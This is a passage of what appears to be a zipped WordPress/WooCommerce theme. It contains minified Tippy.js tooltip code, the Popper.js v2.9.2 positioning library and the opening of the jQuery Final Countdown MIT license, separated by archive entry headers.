s="horizontal"===i?t.top:r,c="vertical"===i?t.right:n,f="horizontal"===i?t.bottom:r,l="vertical"===i?t.left:n;return{width:c-l,height:f-s,top:s,right:c,bottom:f,left:l}}})}function l(){t.props.followCursor&&(Y.push({instance:t,doc:n}),function(t){t.addEventListener("mousemove",q)}(n))}function d(){0===(Y=Y.filter((function(e){return e.instance!==t}))).filter((function(t){return t.doc===n})).length&&function(t){t.removeEventListener("mousemove",q)}(n)}return{onCreate:l,onDestroy:d,onBeforeUpdate:function(){a=t.props},onAfterUpdate:function(e,n){var o=n.followCursor;r||void 0!==o&&a.followCursor!==o&&(d(),o?(l(),!t.state.isMounted||i||s()||p()):(u(),c()))},onMount:function(){t.props.followCursor&&!i&&(o&&(f(X),o=!1),s()||p())},onTrigger:function(t,e){g(e)&&(X={clientX:e.clientX,clientY:e.clientY}),i="focus"===e.type},onHidden:function(){t.props.followCursor&&(c(),u(),o=!0)}}}};var J={name:"inlinePositioning",defaultValue:!1,fn:function(t){var e,n=t.reference;var r=-1,i=!1,o={name:"tippyInlinePositioning",enabled:!0,phase:"afterWrite",fn:function(i){var o=i.state;t.props.inlinePositioning&&(e!==o.placement&&t.setProps({getReferenceClientRect:function(){return function(t){return function(t,e,n,r){if(n.length<2||null===t)return e;if(2===n.length&&r>=0&&n[0].left>n[1].right)return n[r]||e;switch(t){case"top":case"bottom":var i=n[0],o=n[n.length-1],a="top"===t,s=i.top,p=o.bottom,u=a?i.left:o.left,c=a?i.right:o.right;return{top:s,bottom:p,left:u,right:c,width:c-u,height:p-s};case"left":case"right":var f=Math.min.apply(Math,n.map((function(t){return t.left}))),l=Math.max.apply(Math,n.map((function(t){return t.right}))),d=n.filter((function(e){return"left"===t?e.left===f:e.right===l})),v=d[0].top,m=d[d.length-1].bottom;return{top:v,bottom:m,left:f,right:l,width:l-f,height:m-v};default:return e}}(l(t),n.getBoundingClientRect(),d(n.getClientRects()),r)}(o.placement)}}),e=o.placement)}};function a(){var e;i||(e=function(t,e){var n;return{popperOptions:Object.assign({},t.popperOptions,{modifiers:[].concat(((null==(n=t.popperOptions)?void 0:n.modifiers)||[]).filter((function(t){return t.name!==e.name})),[e])})}}(t.props,o),i=!0,t.setProps(e),i=!1)}return{onCreate:a,onAfterUpdate:a,onTrigger:function(e,n){if(g(n)){var i=d(t.reference.getClientRects()),o=i.find((function(t){return t.left-2<=n.clientX&&t.right+2>=n.clientX&&t.top-2<=n.clientY&&t.bottom+2>=n.clientY}));r=i.indexOf(o)}},onUntrigger:function(){r=-1}}}};var G={name:"sticky",defaultValue:!1,fn:function(t){var e=t.reference,n=t.popper;function r(e){return!0===t.props.sticky||t.props.sticky===e}var i=null,o=null;function a(){var s=r("reference")?(t.popperInstance?t.popperInstance.state.elements.reference:e).getBoundingClientRect():null,p=r("popper")?n.getBoundingClientRect():null;(s&&K(i,s)||p&&K(o,p))&&t.popperInstance&&t.popperInstance.update(),i=s,o=p,t.state.isMounted&&requestAnimationFrame(a)}return{onMount:function(){t.props.sticky&&a()}}}};function K(t,e){return!t||!e||(t.top!==e.top||t.right!==e.right||t.bottom!==e.bottom||t.left!==e.left)}return e&&function(t){var e=document.createElement("style");e.textContent=t,e.setAttribute("data-tippy-stylesheet","");var n=document.head,r=document.querySelector("head>style,head>link");r?n.insertBefore(e,r):n.appendChild(e)}('.tippy-box[data-animation=fade][data-state=hidden]{opacity:0}[data-tippy-root]{max-width:calc(100vw - 10px)}.tippy-box{position:relative;background-color:#111;color:#fff;border-radius:0;font-size:14px;line-height:1.4;outline:0;transition-property:transform,visibility,opacity}.tippy-box[data-placement^=top]>.tippy-arrow{bottom:0}.tippy-box[data-placement^=top]>.tippy-arrow:before{bottom:-5px;left:0;border-width:5px 5px 0;border-top-color:initial;transform-origin:center top}.tippy-box[data-placement^=bottom]>.tippy-arrow{top:0}.tippy-box[data-placement^=bottom]>.tippy-arrow:before{top:-5px;left:0;border-width:0 5px 5px;border-bottom-color:initial;transform-origin:center bottom}.tippy-box[data-placement^=left]>.tippy-arrow{right:0}.tippy-box[data-placement^=left]>.tippy-arrow:before{border-width:5px 0 5px 5px;border-left-color:initial;right:-5px;transform-origin:center left}.tippy-box[data-placement^=right]>.tippy-arrow{left:0}.tippy-box[data-placement^=right]>.tippy-arrow:before{left:-5px;border-width:5px 5px 5px 0;border-right-color:initial;transform-origin:center right}.tippy-box[data-inertia][data-state=visible]{transition-timing-function:cubic-bezier(.54,1.5,.38,1.11)}.tippy-arrow{width:10px;height:10px;color:#111}.tippy-arrow:before{content:"";position:absolute;border-color:transparent;border-style:solid}.tippy-content{position:relative;padding:0 12px;font-size:13px;line-height:30px;height:30px;z-index:1}'),_.setDefaultProps({plugins:[W,$,J,G],render:S}),_.createSingleton=function(t,e){var n;void 0===e&&(e={});var r,i=t,o=[],a=e.overrides,s=[],p=!1;function c(){o=i.map((function(t){return t.reference}))}function f(t){i.forEach((function(e){t?e.enable():e.disable()}))}function l(t){return i.map((function(e){var n=e.setProps;return e.setProps=function(i){n(i),e.reference===r&&t.setProps(i)},function(){e.setProps=n}}))}function d(t,e){var n=o.indexOf(e);if(e!==r){r=e;var s=(a||[]).concat("content").reduce((function(t,e){return t[e]=i[n].props[e],t}),{});t.setProps(Object.assign({},s,{getReferenceClientRect:"function"==typeof s.getReferenceClientRect?s.getReferenceClientRect:function(){return e.getBoundingClientRect()}}))}}f(!1),c();var m={fn:function(){return{onDestroy:function(){f(!0)},onHidden:function(){r=null},onClickOutside:function(t){t.props.showOnCreate&&!p&&(p=!0,r=null)},onShow:function(t){t.props.showOnCreate&&!p&&(p=!0,d(t,o[0]))},onTrigger:function(t,e){d(t,e.currentTarget)}}}},g=_(v(),Object.assign({},u(e,["overrides"]),{plugins:[m].concat(e.plugins||[]),triggerTarget:o,popperOptions:Object.assign({},e.popperOptions,{modifiers:[].concat((null==(n=e.popperOptions)?void 0:n.modifiers)||[],[z])})})),h=g.show;g.show=function(t){if(h(),!r&&null==t)return d(g,o[0]);if(!r||null!=t){if("number"==typeof t)return o[t]&&d(g,o[t]);if(i.includes(t)){var e=t.reference;return d(g,e)}return o.includes(t)?d(g,t):void 0}},g.showNext=function(){var t=o[0];if(!r)return g.show(0);var e=o.indexOf(r);g.show(o[e+1]||t)},g.showPrevious=function(){var t=o[o.length-1];if(!r)return g.show(t);var e=o.indexOf(r),n=o[e-1]||t;g.show(n)};var b=g.setProps;return g.setProps=function(t){a=t.overrides||a,b(t)},g.setInstances=function(t){f(!0),s.forEach((function(t){return t()})),i=t,f(!1),c(),l(g),g.setProps({triggerTarget:o})},s=l(g),g},_.delegate=function(t,e){var n=[],r=[],o=!1,a=e.target,s=u(e,["target"]),p=Object.assign({},s,{trigger:"manual",touch:!1}),f=Object.assign({},s,{showOnCreate:!0}),l=_(t,p);function d(t){if(t.target&&!o){var n=t.target.closest(a);if(n){var i=n.getAttribute("data-tippy-trigger")||e.trigger||D.trigger;if(!n._tippy&&!("touchstart"===t.type&&"boolean"==typeof f.touch||"touchstart"!==t.type&&i.indexOf(F[t.type])<0)){var s=_(n,f);s&&(r=r.concat(s))}}}}function v(t,e,r,i){void 0===i&&(i=!1),t.addEventListener(e,r,i),n.push({node:t,eventType:e,handler:r,options:i})}return c(l).forEach((function(t){var e=t.destroy,a=t.enable,s=t.disable;t.destroy=function(t){void 0===t&&(t=!0),t&&r.forEach((function(t){t.destroy()})),r=[],n.forEach((function(t){var e=t.node,n=t.eventType,r=t.handler,i=t.options;e.removeEventListener(n,r,i)})),n=[],e()},t.enable=function(){a(),r.forEach((function(t){return t.enable()})),o=!1},t.disable=function(){s(),r.forEach((function(t){return t.disable()})),o=!0},function(t){var e=t.reference;v(e,"touchstart",d,i),v(e,"mouseover",d),v(e,"focusin",d),v(e,"click",d)}(t)})),l},_.hideAll=function(t){var e=void 0===t?{}:t,n=e.exclude,r=e.duration;N.forEach((function(t){var e=!1;if(n&&(e=h(n)?t.reference===n:t.popper===n.popper),!e){var i=t.props.duration;t.setProps({duration:r}),t.hide(),t.state.isDestroyed||t.setProps({duration:i})}}))},_.roundArrow='<svg width="16" height="6" xmlns="http://www.w3.org/2000/svg"><path d="M0 6s1.796-.013 4.67-3.615C5.851.9 6.93.006 8 0c1.07-.006 2.148.887 3.343 2.385C14.233 6.005 16 6 16 6H0z"></svg>',_}));
PK     N\A{H  {H     inc/woocommerce/js/popper.min.jsnu [        /**
 * @popperjs/core v2.9.2 - MIT License
 */

"use strict";!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports):"function"==typeof define&&define.amd?define(["exports"],t):t((e="undefined"!=typeof globalThis?globalThis:e||self).Popper={})}(this,(function(e){function t(e){return{width:(e=e.getBoundingClientRect()).width,height:e.height,top:e.top,right:e.right,bottom:e.bottom,left:e.left,x:e.left,y:e.top}}function n(e){return null==e?window:"[object Window]"!==e.toString()?(e=e.ownerDocument)&&e.defaultView||window:e}function o(e){return{scrollLeft:(e=n(e)).pageXOffset,scrollTop:e.pageYOffset}}function r(e){return e instanceof n(e).Element||e instanceof Element}function i(e){return e instanceof n(e).HTMLElement||e instanceof HTMLElement}function a(e){return"undefined"!=typeof ShadowRoot&&(e instanceof n(e).ShadowRoot||e instanceof ShadowRoot)}function s(e){return e?(e.nodeName||"").toLowerCase():null}function f(e){return((r(e)?e.ownerDocument:e.document)||window.document).documentElement}function p(e){return t(f(e)).left+o(e).scrollLeft}function c(e){return n(e).getComputedStyle(e)}function l(e){return e=c(e),/auto|scroll|overlay|hidden/.test(e.overflow+e.overflowY+e.overflowX)}function u(e,r,a){void 0===a&&(a=!1);var c=f(r);e=t(e);var u=i(r),d={scrollLeft:0,scrollTop:0},m={x:0,y:0};return(u||!u&&!a)&&(("body"!==s(r)||l(c))&&(d=r!==n(r)&&i(r)?{scrollLeft:r.scrollLeft,scrollTop:r.scrollTop}:o(r)),i(r)?((m=t(r)).x+=r.clientLeft,m.y+=r.clientTop):c&&(m.x=p(c))),{x:e.left+d.scrollLeft-m.x,y:e.top+d.scrollTop-m.y,width:e.width,height:e.height}}function d(e){var n=t(e),o=e.offsetWidth,r=e.offsetHeight;return 1>=Math.abs(n.width-o)&&(o=n.width),1>=Math.abs(n.height-r)&&(r=n.height),{x:e.offsetLeft,y:e.offsetTop,width:o,height:r}}function m(e){return"html"===s(e)?e:e.assignedSlot||e.parentNode||(a(e)?e.host:null)||f(e)}function h(e){return 0<=["html","body","#document"].indexOf(s(e))?e.ownerDocument.body:i(e)&&l(e)?e:h(m(e))}function v(e,t){var o;void 0===t&&(t=[]);var r=h(e);return e=r===(null==(o=e.ownerDocument)?void 0:o.body),o=n(r),r=e?[o].concat(o.visualViewport||[],l(r)?r:[]):r,t=t.concat(r),e?t:t.concat(v(m(r)))}function g(e){return i(e)&&"fixed"!==c(e).position?e.offsetParent:null}function y(e){for(var t=n(e),o=g(e);o&&0<=["table","td","th"].indexOf(s(o))&&"static"===c(o).position;)o=g(o);if(o&&("html"===s(o)||"body"===s(o)&&"static"===c(o).position))return t;if(!o)e:{if(o=-1!==navigator.userAgent.toLowerCase().indexOf("firefox"),-1===navigator.userAgent.indexOf("Trident")||!i(e)||"fixed"!==c(e).position)for(e=m(e);i(e)&&0>["html","body"].indexOf(s(e));){var r=c(e);if("none"!==r.transform||"none"!==r.perspective||"paint"===r.contain||-1!==["transform","perspective"].indexOf(r.willChange)||o&&"filter"===r.willChange||o&&r.filter&&"none"!==r.filter){o=e;break e}e=e.parentNode}o=null}return o||t}function b(e){function t(e){o.add(e.name),[].concat(e.requires||[],e.requiresIfExists||[]).forEach((function(e){o.has(e)||(e=n.get(e))&&t(e)})),r.push(e)}var n=new Map,o=new Set,r=[];return e.forEach((function(e){n.set(e.name,e)})),e.forEach((function(e){o.has(e.name)||t(e)})),r}function w(e){var t;return function(){return t||(t=new Promise((function(n){Promise.resolve().then((function(){t=void 0,n(e())}))}))),t}}function x(e){return e.split("-")[0]}function O(e,t){var n=t.getRootNode&&t.getRootNode();if(e.contains(t))return!0;if(n&&a(n))do{if(t&&e.isSameNode(t))return!0;t=t.parentNode||t.host}while(t);return!1}function j(e){return Object.assign({},e,{left:e.x,top:e.y,right:e.x+e.width,bottom:e.y+e.height})}function E(e,r){if("viewport"===r){r=n(e);var a=f(e);r=r.visualViewport;var s=a.clientWidth;a=a.clientHeight;var l=0,u=0;r&&(s=r.width,a=r.height,/^((?!chrome|android).)*safari/i.test(navigator.userAgent)||(l=r.offsetLeft,u=r.offsetTop)),e=j(e={width:s,height:a,x:l+p(e),y:u})}else i(r)?((e=t(r)).top+=r.clientTop,e.left+=r.clientLeft,e.bottom=e.top+r.clientHeight,e.right=e.left+r.clientWidth,e.width=r.clientWidth,e.height=r.clientHeight,e.x=e.left,e.y=e.top):(u=f(e),e=f(u),s=o(u),r=null==(a=u.ownerDocument)?void 0:a.body,a=_(e.scrollWidth,e.clientWidth,r?r.scrollWidth:0,r?r.clientWidth:0),l=_(e.scrollHeight,e.clientHeight,r?r.scrollHeight:0,r?r.clientHeight:0),u=-s.scrollLeft+p(u),s=-s.scrollTop,"rtl"===c(r||e).direction&&(u+=_(e.clientWidth,r?r.clientWidth:0)-a),e=j({width:a,height:l,x:u,y:s}));return e}function D(e,t,n){return t="clippingParents"===t?function(e){var t=v(m(e)),n=0<=["absolute","fixed"].indexOf(c(e).position)&&i(e)?y(e):e;return r(n)?t.filter((function(e){return r(e)&&O(e,n)&&"body"!==s(e)})):[]}(e):[].concat(t),(n=(n=[].concat(t,[n])).reduce((function(t,n){return n=E(e,n),t.top=_(n.top,t.top),t.right=U(n.right,t.right),t.bottom=U(n.bottom,t.bottom),t.left=_(n.left,t.left),t}),E(e,n[0]))).width=n.right-n.left,n.height=n.bottom-n.top,n.x=n.left,n.y=n.top,n}function L(e){return 0<=["top","bottom"].indexOf(e)?"x":"y"}function P(e){var t=e.reference,n=e.element,o=(e=e.placement)?x(e):null;e=e?e.split("-")[1]:null;var r=t.x+t.width/2-n.width/2,i=t.y+t.height/2-n.height/2;switch(o){case"top":r={x:r,y:t.y-n.height};break;case"bottom":r={x:r,y:t.y+t.height};break;case"right":r={x:t.x+t.width,y:i};break;case"left":r={x:t.x-n.width,y:i};break;default:r={x:t.x,y:t.y}}if(null!=(o=o?L(o):null))switch(i="y"===o?"height":"width",e){case"start":r[o]-=t[i]/2-n[i]/2;break;case"end":r[o]+=t[i]/2-n[i]/2}return r}function M(e){return Object.assign({},{top:0,right:0,bottom:0,left:0},e)}function k(e,t){return t.reduce((function(t,n){return t[n]=e,t}),{})}function A(e,n){void 0===n&&(n={});var o=n;n=void 0===(n=o.placement)?e.placement:n;var i=o.boundary,a=void 0===i?"clippingParents":i,s=void 0===(i=o.rootBoundary)?"viewport":i;i=void 0===(i=o.elementContext)?"popper":i;var p=o.altBoundary,c=void 0!==p&&p;o=M("number"!=typeof(o=void 0===(o=o.padding)?0:o)?o:k(o,C));var l=e.elements.reference;p=e.rects.popper,a=D(r(c=e.elements[c?"popper"===i?"reference":"popper":i])?c:c.contextElement||f(e.elements.popper),a,s),c=P({reference:s=t(l),element:p,strategy:"absolute",placement:n}),p=j(Object.assign({},p,c)),s="popper"===i?p:s;var u={top:a.top-s.top+o.top,bottom:s.bottom-a.bottom+o.bottom,left:a.left-s.left+o.left,right:s.right-a.right+o.right};if(e=e.modifiersData.offset,"popper"===i&&e){var d=e[n];Object.keys(u).forEach((function(e){var t=0<=["right","bottom"].indexOf(e)?1:-1,n=0<=["top","bottom"].indexOf(e)?"y":"x";u[e]+=d[n]*t}))}return u}function W(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];return!t.some((function(e){return!(e&&"function"==typeof e.getBoundingClientRect)}))}function B(e){void 0===e&&(e={});var t=e.defaultModifiers,n=void 0===t?[]:t,o=void 0===(e=e.defaultOptions)?F:e;return function(e,t,i){function a(){f.forEach((function(e){return e()})),f=[]}void 0===i&&(i=o);var s={placement:"bottom",orderedModifiers:[],options:Object.assign({},F,o),modifiersData:{},elements:{reference:e,popper:t},attributes:{},styles:{}},f=[],p=!1,c={state:s,setOptions:function(i){return a(),s.options=Object.assign({},o,s.options,i),s.scrollParents={reference:r(e)?v(e):e.contextElement?v(e.contextElement):[],popper:v(t)},i=function(e){var t=b(e);return I.reduce((function(e,n){return e.concat(t.filter((function(e){return e.phase===n})))}),[])}(function(e){var t=e.reduce((function(e,t){var n=e[t.name];return e[t.name]=n?Object.assign({},n,t,{options:Object.assign({},n.options,t.options),data:Object.assign({},n.data,t.data)}):t,e}),{});return Object.keys(t).map((function(e){return t[e]}))}([].concat(n,s.options.modifiers))),s.orderedModifiers=i.filter((function(e){return e.enabled})),s.orderedModifiers.forEach((function(e){var t=e.name,n=e.options;n=void 0===n?{}:n,"function"==typeof(e=e.effect)&&(t=e({state:s,name:t,instance:c,options:n}),f.push(t||function(){}))})),c.update()},forceUpdate:function(){if(!p){var e=s.elements,t=e.reference;if(W(t,e=e.popper))for(s.rects={reference:u(t,y(e),"fixed"===s.options.strategy),popper:d(e)},s.reset=!1,s.placement=s.options.placement,s.orderedModifiers.forEach((function(e){return s.modifiersData[e.name]=Object.assign({},e.data)})),t=0;t<s.orderedModifiers.length;t++)if(!0===s.reset)s.reset=!1,t=-1;else{var n=s.orderedModifiers[t];e=n.fn;var o=n.options;o=void 0===o?{}:o,n=n.name,"function"==typeof e&&(s=e({state:s,options:o,name:n,instance:c})||s)}}},update:w((function(){return new Promise((function(e){c.forceUpdate(),e(s)}))})),destroy:function(){a(),p=!0}};return W(e,t)?(c.setOptions(i).then((function(e){!p&&i.onFirstUpdate&&i.onFirstUpdate(e)})),c):c}}function T(e){var t,o=e.popper,r=e.popperRect,i=e.placement,a=e.offsets,s=e.position,p=e.gpuAcceleration,l=e.adaptive;if(!0===(e=e.roundOffsets)){e=a.y;var u=window.devicePixelRatio||1;e={x:z(z(a.x*u)/u)||0,y:z(z(e*u)/u)||0}}else e="function"==typeof e?e(a):a;e=void 0===(e=(u=e).x)?0:e,u=void 0===(u=u.y)?0:u;var d=a.hasOwnProperty("x");a=a.hasOwnProperty("y");var m,h="left",v="top",g=window;if(l){var b=y(o),w="clientHeight",x="clientWidth";b===n(o)&&("static"!==c(b=f(o)).position&&(w="scrollHeight",x="scrollWidth")),"top"===i&&(v="bottom",u-=b[w]-r.height,u*=p?1:-1),"left"===i&&(h="right",e-=b[x]-r.width,e*=p?1:-1)}return o=Object.assign({position:s},l&&J),p?Object.assign({},o,((m={})[v]=a?"0":"",m[h]=d?"0":"",m.transform=2>(g.devicePixelRatio||1)?"translate("+e+"px, "+u+"px)":"translate3d("+e+"px, "+u+"px, 0)",m)):Object.assign({},o,((t={})[v]=a?u+"px":"",t[h]=d?e+"px":"",t.transform="",t))}function H(e){return e.replace(/left|right|bottom|top/g,(function(e){return $[e]}))}function R(e){return e.replace(/start|end/g,(function(e){return ee[e]}))}function S(e,t,n){return void 0===n&&(n={x:0,y:0}),{top:e.top-t.height-n.y,right:e.right-t.width+n.x,bottom:e.bottom-t.height+n.y,left:e.left-t.width-n.x}}function q(e){return["top","right","bottom","left"].some((function(t){return 0<=e[t]}))}var C=["top","bottom","right","left"],N=C.reduce((function(e,t){return e.concat([t+"-start",t+"-end"])}),[]),V=[].concat(C,["auto"]).reduce((function(e,t){return e.concat([t,t+"-start",t+"-end"])}),[]),I="beforeRead read afterRead beforeMain main afterMain beforeWrite write afterWrite".split(" "),_=Math.max,U=Math.min,z=Math.round,F={placement:"bottom",modifiers:[],strategy:"absolute"},X={passive:!0},Y={name:"eventListeners",enabled:!0,phase:"write",fn:function(){},effect:function(e){var t=e.state,o=e.instance,r=(e=e.options).scroll,i=void 0===r||r,a=void 0===(e=e.resize)||e,s=n(t.elements.popper),f=[].concat(t.scrollParents.reference,t.scrollParents.popper);return i&&f.forEach((function(e){e.addEventListener("scroll",o.update,X)})),a&&s.addEventListener("resize",o.update,X),function(){i&&f.forEach((function(e){e.removeEventListener("scroll",o.update,X)})),a&&s.removeEventListener("resize",o.update,X)}},data:{}},G={name:"popperOffsets",enabled:!0,phase:"read",fn:function(e){var t=e.state;t.modifiersData[e.name]=P({reference:t.rects.reference,element:t.rects.popper,strategy:"absolute",placement:t.placement})},data:{}},J={top:"auto",right:"auto",bottom:"auto",left:"auto"},K={name:"computeStyles",enabled:!0,phase:"beforeWrite",fn:function(e){var t=e.state,n=e.options;e=void 0===(e=n.gpuAcceleration)||e;var o=n.adaptive;o=void 0===o||o,n=void 0===(n=n.roundOffsets)||n,e={placement:x(t.placement),popper:t.elements.popper,popperRect:t.rects.popper,gpuAcceleration:e},null!=t.modifiersData.popperOffsets&&(t.styles.popper=Object.assign({},t.styles.popper,T(Object.assign({},e,{offsets:t.modifiersData.popperOffsets,position:t.options.strategy,adaptive:o,roundOffsets:n})))),null!=t.modifiersData.arrow&&(t.styles.arrow=Object.assign({},t.styles.arrow,T(Object.assign({},e,{offsets:t.modifiersData.arrow,position:"absolute",adaptive:!1,roundOffsets:n})))),t.attributes.popper=Object.assign({},t.attributes.popper,{"data-popper-placement":t.placement})},data:{}},Q={name:"applyStyles",enabled:!0,phase:"write",fn:function(e){var t=e.state;Object.keys(t.elements).forEach((function(e){var n=t.styles[e]||{},o=t.attributes[e]||{},r=t.elements[e];i(r)&&s(r)&&(Object.assign(r.style,n),Object.keys(o).forEach((function(e){var t=o[e];!1===t?r.removeAttribute(e):r.setAttribute(e,!0===t?"":t)})))}))},effect:function(e){var t=e.state,n={popper:{position:t.options.strategy,left:"0",top:"0",margin:"0"},arrow:{position:"absolute"},reference:{}};return Object.assign(t.elements.popper.style,n.popper),t.styles=n,t.elements.arrow&&Object.assign(t.elements.arrow.style,n.arrow),function(){Object.keys(t.elements).forEach((function(e){var o=t.elements[e],r=t.attributes[e]||{};e=Object.keys(t.styles.hasOwnProperty(e)?t.styles[e]:n[e]).reduce((function(e,t){return e[t]="",e}),{}),i(o)&&s(o)&&(Object.assign(o.style,e),Object.keys(r).forEach((function(e){o.removeAttribute(e)})))}))}},requires:["computeStyles"]},Z={name:"offset",enabled:!0,phase:"main",requires:["popperOffsets"],fn:function(e){var t=e.state,n=e.name,o=void 0===(e=e.options.offset)?[0,0]:e,r=(e=V.reduce((function(e,n){var r=t.rects,i=x(n),a=0<=["left","top"].indexOf(i)?-1:1,s="function"==typeof o?o(Object.assign({},r,{placement:n})):o;return r=(r=s[0])||0,s=((s=s[1])||0)*a,i=0<=["left","right"].indexOf(i)?{x:s,y:r}:{x:r,y:s},e[n]=i,e}),{}))[t.placement],i=r.x;r=r.y,null!=t.modifiersData.popperOffsets&&(t.modifiersData.popperOffsets.x+=i,t.modifiersData.popperOffsets.y+=r),t.modifiersData[n]=e}},$={left:"right",right:"left",bottom:"top",top:"bottom"},ee={start:"end",end:"start"},te={name:"flip",enabled:!0,phase:"main",fn:function(e){var t=e.state,n=e.options;if(e=e.name,!t.modifiersData[e]._skip){var o=n.mainAxis;o=void 0===o||o;var r=n.altAxis;r=void 0===r||r;var i=n.fallbackPlacements,a=n.padding,s=n.boundary,f=n.rootBoundary,p=n.altBoundary,c=n.flipVariations,l=void 0===c||c,u=n.allowedAutoPlacements;c=x(n=t.options.placement),i=i||(c!==n&&l?function(e){if("auto"===x(e))return[];var t=H(e);return[R(e),t,R(t)]}(n):[H(n)]);var d=[n].concat(i).reduce((function(e,n){return e.concat("auto"===x(n)?function(e,t){void 0===t&&(t={});var n=t.boundary,o=t.rootBoundary,r=t.padding,i=t.flipVariations,a=t.allowedAutoPlacements,s=void 0===a?V:a,f=t.placement.split("-")[1];0===(i=(t=f?i?N:N.filter((function(e){return e.split("-")[1]===f})):C).filter((function(e){return 0<=s.indexOf(e)}))).length&&(i=t);var p=i.reduce((function(t,i){return t[i]=A(e,{placement:i,boundary:n,rootBoundary:o,padding:r})[x(i)],t}),{});return Object.keys(p).sort((function(e,t){return p[e]-p[t]}))}(t,{placement:n,boundary:s,rootBoundary:f,padding:a,flipVariations:l,allowedAutoPlacements:u}):n)}),[]);n=t.rects.reference,i=t.rects.popper;var m=new Map;c=!0;for(var h=d[0],v=0;v<d.length;v++){var g=d[v],y=x(g),b="start"===g.split("-")[1],w=0<=["top","bottom"].indexOf(y),O=w?"width":"height",j=A(t,{placement:g,boundary:s,rootBoundary:f,altBoundary:p,padding:a});if(b=w?b?"right":"left":b?"bottom":"top",n[O]>i[O]&&(b=H(b)),O=H(b),w=[],o&&w.push(0>=j[y]),r&&w.push(0>=j[b],0>=j[O]),w.every((function(e){return e}))){h=g,c=!1;break}m.set(g,w)}if(c)for(o=function(e){var t=d.find((function(t){if(t=m.get(t))return t.slice(0,e).every((function(e){return e}))}));if(t)return h=t,"break"},r=l?3:1;0<r&&"break"!==o(r);r--);t.placement!==h&&(t.modifiersData[e]._skip=!0,t.placement=h,t.reset=!0)}},requiresIfExists:["offset"],data:{_skip:!1}},ne={name:"preventOverflow",enabled:!0,phase:"main",fn:function(e){var t=e.state,n=e.options;e=e.name;var o=n.mainAxis,r=void 0===o||o,i=void 0!==(o=n.altAxis)&&o;o=void 0===(o=n.tether)||o;var a=n.tetherOffset,s=void 0===a?0:a,f=A(t,{boundary:n.boundary,rootBoundary:n.rootBoundary,padding:n.padding,altBoundary:n.altBoundary});n=x(t.placement);var p=t.placement.split("-")[1],c=!p,l=L(n);n="x"===l?"y":"x",a=t.modifiersData.popperOffsets;var u=t.rects.reference,m=t.rects.popper,h="function"==typeof s?s(Object.assign({},t.rects,{placement:t.placement})):s;if(s={x:0,y:0},a){if(r||i){var v="y"===l?"top":"left",g="y"===l?"bottom":"right",b="y"===l?"height":"width",w=a[l],O=a[l]+f[v],j=a[l]-f[g],E=o?-m[b]/2:0,D="start"===p?u[b]:m[b];p="start"===p?-m[b]:-u[b],m=t.elements.arrow,m=o&&m?d(m):{width:0,height:0};var P=t.modifiersData["arrow#persistent"]?t.modifiersData["arrow#persistent"].padding:{top:0,right:0,bottom:0,left:0};v=P[v],g=P[g],m=_(0,U(u[b],m[b])),D=c?u[b]/2-E-m-v-h:D-m-v-h,u=c?-u[b]/2+E+m+g+h:p+m+g+h,c=t.elements.arrow&&y(t.elements.arrow),h=t.modifiersData.offset?t.modifiersData.offset[t.placement][l]:0,c=a[l]+D-h-(c?"y"===l?c.clientTop||0:c.clientLeft||0:0),u=a[l]+u-h,r&&(r=o?U(O,c):O,j=o?_(j,u):j,r=_(r,U(w,j)),a[l]=r,s[l]=r-w),i&&(r=(i=a[n])+f["x"===l?"top":"left"],f=i-f["x"===l?"bottom":"right"],r=o?U(r,c):r,o=o?_(f,u):f,o=_(r,U(i,o)),a[n]=o,s[n]=o-i)}t.modifiersData[e]=s}},requiresIfExists:["offset"]},oe={name:"arrow",enabled:!0,phase:"main",fn:function(e){var t,n=e.state,o=e.name,r=e.options,i=n.elements.arrow,a=n.modifiersData.popperOffsets,s=x(n.placement);if(e=L(s),s=0<=["left","right"].indexOf(s)?"height":"width",i&&a){r=M("number"!=typeof(r="function"==typeof(r=r.padding)?r(Object.assign({},n.rects,{placement:n.placement})):r)?r:k(r,C));var f=d(i),p="y"===e?"top":"left",c="y"===e?"bottom":"right",l=n.rects.reference[s]+n.rects.reference[e]-a[e]-n.rects.popper[s];a=a[e]-n.rects.reference[e],a=(i=(i=y(i))?"y"===e?i.clientHeight||0:i.clientWidth||0:0)/2-f[s]/2+(l/2-a/2),s=_(r[p],U(a,i-f[s]-r[c])),n.modifiersData[o]=((t={})[e]=s,t.centerOffset=s-a,t)}},effect:function(e){var t=e.state;if(null!=(e=void 0===(e=e.options.element)?"[data-popper-arrow]":e)){if("string"==typeof e&&!(e=t.elements.popper.querySelector(e)))return;O(t.elements.popper,e)&&(t.elements.arrow=e)}},requires:["popperOffsets"],requiresIfExists:["preventOverflow"]},re={name:"hide",enabled:!0,phase:"main",requiresIfExists:["preventOverflow"],fn:function(e){var t=e.state;e=e.name;var n=t.rects.reference,o=t.rects.popper,r=t.modifiersData.preventOverflow,i=A(t,{elementContext:"reference"}),a=A(t,{altBoundary:!0});n=S(i,n),o=S(a,o,r),r=q(n),a=q(o),t.modifiersData[e]={referenceClippingOffsets:n,popperEscapeOffsets:o,isReferenceHidden:r,hasPopperEscaped:a},t.attributes.popper=Object.assign({},t.attributes.popper,{"data-popper-reference-hidden":r,"data-popper-escaped":a})}},ie=B({defaultModifiers:[Y,G,K,Q]}),ae=[Y,G,K,Q,Z,te,ne,oe,re],se=B({defaultModifiers:ae});e.applyStyles=Q,e.arrow=oe,e.computeStyles=K,e.createPopper=se,e.createPopperLite=ie,e.defaultModifiers=ae,e.detectOverflow=A,e.eventListeners=Y,e.flip=te,e.hide=re,e.offset=Z,e.popperGenerator=B,e.popperOffsets=G,e.preventOverflow=ne,Object.defineProperty(e,"__esModule",{value:!0})}));
PK     N\k}ʃ    /  inc/woocommerce/js/jquery.countdown-pack.min.jsnu [        /*!
 * The Final Countdown for jQuery v2.2.0 (http://hilios.github.io/jQuery.countdown/)
 * Copyright (c) 2016 Edson Hilios
 * 
 * Permission is hereby granted, free of charge, to any person obtaining a copy of
 * this software and associated documentation files (the "Software"), to deal in
 * the Software without restriction, including without limitation the rights to
 * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
 * the Software, and to permit persons to whom the Software is furnished to do so,
 * subject to the following conditions:
 * 
 * The above copyright notice and this permission notice shall be included in all
 * copies or substantial portions of the Software.
 * 
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
